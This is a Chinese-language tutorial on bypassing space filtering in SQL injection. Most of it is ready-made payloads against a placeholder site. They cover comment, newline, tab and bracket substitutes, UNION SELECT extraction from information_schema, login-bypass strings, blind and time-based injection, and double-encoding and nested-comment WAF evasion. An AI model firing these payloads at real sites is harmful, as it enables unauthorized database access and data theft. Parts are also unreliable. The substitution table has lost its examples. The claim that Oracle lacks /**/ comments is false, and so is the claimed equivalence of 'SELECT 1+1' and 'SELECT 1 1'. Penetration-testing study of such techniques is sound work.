目录
空格、%20、+被过滤时的测试方法
一、核心思路:替代空格的常用字符/语法
快速验证方法
二、分场景测试方法
场景1:GET请求参数(URL中)
步骤1:用/**/替代空格测试基础注入
步骤2:URL编码特殊字符(换行/制表符)
步骤3:括号包裹字段/表名
场景2:POST请求参数(表单/JSON)
方法1:用/**/替代空格
方法2:MySQL内联注释(仅MySQL)
场景3:盲注(无报错回显)
布尔盲注示例(MySQL)
时间盲注优化(无空格)
场景4:特殊数据库适配
1. Oracle数据库
2. SQL Server数据库
三、绕过过滤的进阶技巧
技巧1:混合编码(双重URL编码)
技巧2:利用运算符替代空格
技巧3:注释嵌套(绕过WAF规则)
四、测试注意事项
五、常见问题排查
空格、%20、+被过滤时的测试方法
在SQL注入测试中,空格(包括URL编码的%20)、+是最常用的分隔符,若被WAF/代码过滤,可通过特殊字符/语法替代分隔符、编码绕过、注释截断等方式突破限制,本文详细讲解具体测试方法与场景适配。
一、核心思路:替代空格的常用字符/语法
SQL语法中,空格的核心作用是分隔关键字/表名/字段名,以下字符/语法可等效替代空格,且多数数据库兼容:
替代方式 | 语法示例 | 适用数据库 | 说明 |
注释符截断 |
| MySQL/Oracle/SQL Server |
|
换行符 |
| 所有主流数据库 |
|
制表符 |
| 所有主流数据库 |
|
括号包裹 |
| MySQL/SQL Server | 用括号分隔字段/表名 |
特殊空白字符 |
| MySQL/Oracle |
|
内联注释 |
| MySQL | MySQL特有内联注释,不影响执行 |
快速验证方法
先通过简单语句测试替代符是否生效(以MySQL为例):
# 原正常语句(空格分隔) SELECT id FROM users WHERE id=1 # 替换后测试语句 SELECT/**/id/**/FROM/**/users/**/WHERE/**/id=1 -- 注释符替代 SELECT%0Aid%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 换行符替代 SELECT(id)FROM(users)WHERE(id=1) -- 括号替代
二、分场景测试方法
场景1:GET请求参数(URL中)
若目标URL为:http://xxx.com/user.php?id=1,空格/%20/+被过滤:
步骤1:用/**/替代空格测试基础注入
# 测试是否存在注入(判断是否报错) http://xxx.com/user.php?id=1/**/AND/**/1=1 http://xxx.com/user.php?id=1/**/AND/**/1=2 # 联合查询测试(提取表名) http://xxx.com/user.php?id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()
步骤2:URL编码特殊字符(换行/制表符)
若/**/也被过滤,用%0A/%09替代:
# 换行符(%0A)替代 http://xxx.com/user.php?id=1%0AAND%0A1=1 # 制表符(%09)替代 http://xxx.com/user.php?id=1%09AND%091=2
步骤3:括号包裹字段/表名
若所有空白字符都被过滤,用括号分隔:
http://xxx.com/user.php?id=1AND(1=1) http://xxx.com/user.php?id=-1UNION(SELECT(1),(2),(3)FROM(users))
场景2:POST请求参数(表单/JSON)
若POST参数(如username=admin&password=123)中空格被过滤:
方法1:用/**/替代空格
// JSON格式示例 { "username": "admin'/**/AND/**/1=1#", "password": "123" }
// 表单格式示例 username=admin'/**/OR/**/'1'='1&password=123
方法2:MySQL内联注释(仅MySQL)
利用/*! */注释包裹关键字,无需空格:
# 测试语句 username=admin'/*!AND*/1=1# password=123 # 提取数据 username=-1'/*!UNION*//*!SELECT*/1,group_concat(column_name),3/*!FROM*/information_schema.columns/*!WHERE*/table_name='users'#
场景3:盲注(无报错回显)
若无法通过报错判断,需结合布尔盲注/时间盲注,同时替换空格:
布尔盲注示例(MySQL)
# 测试数据库名长度(/**/替代空格) http://xxx.com/user.php?id=1/**/AND/**/length(database())=8 # 时间盲注(%0A替代空格) http://xxx.com/user.php?id=1%0AAND%0Asleep(5)
时间盲注优化(无空格)
# 括号包裹,无任何空白字符 http://xxx.com/user.php?id=1AND(sleep(5))
场景4:特殊数据库适配
1. Oracle数据库
Oracle不支持/**/注释分隔,优先用%0A(换行符)或--注释截断:
-- 测试语句(%0A替代空格) SELECT%0Aname%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 注释截断(无需空格) SELECT'1'FROM dual WHERE '1'='1'--
2. SQL Server数据库
支持[]包裹关键字,且%09(制表符)兼容性更好:
-- 制表符替代空格 SELECT%09[name]%09FROM%09[users]%09WHERE%09[id]=1 -- 括号替代 SELECT([name])FROM([users])WHERE([id]=1)
三、绕过过滤的进阶技巧
技巧1:混合编码(双重URL编码)
若WAF过滤%0A/%09,可对编码再次编码:
# %0A的双重编码是%250A http://xxx.com/user.php?id=1%250AAND%250A1=1 # %09的双重编码是%2509 http://xxx.com/user.php?id=1%2509AND%25091=2
技巧2:利用运算符替代空格
部分场景下,+/-/*等运算符可间接分隔语句(需结合语法):
# MySQL示例(+号分隔) SELECT 1+1 FROM users WHERE id=1 -- 等效于 SELECT 1 1 FROM users... # 注入测试 id=1'+'AND+'1'='1
技巧3:注释嵌套(绕过WAF规则)
若WAF拦截/**/,可嵌套注释:
# 嵌套注释替代空格 SELECT/*/*/id/*/*/FROM/*/*/users
四、测试注意事项
优先测试通用替代符:先试
/**/,再试%0A/%09,最后试括号,减少测试成本;适配数据库类型:不同数据库对替代符的支持差异大(如Oracle不支持
/**/),需先确认数据库类型;避免触发WAF拦截:部分替代符(如
/*! */)可能被WAF标记为恶意,可混合多种方式;验证语句有效性:替换空格后,先在本地数据库测试语句是否能正常执行,再用于目标站点;
合规测试:仅对授权的系统进行测试,避免违反法律法规。
五、常见问题排查
替代符无效:检查是否数据库版本不兼容(如MySQL 5.5以下对
/*! */支持有限),或WAF深度解析了注释/编码;语句报错:确认替代符位置是否正确(如
/**/需放在关键字之间,而非首尾);盲注无响应:可能是替代符被过滤,或目标无注入漏洞,需换用其他替代方式。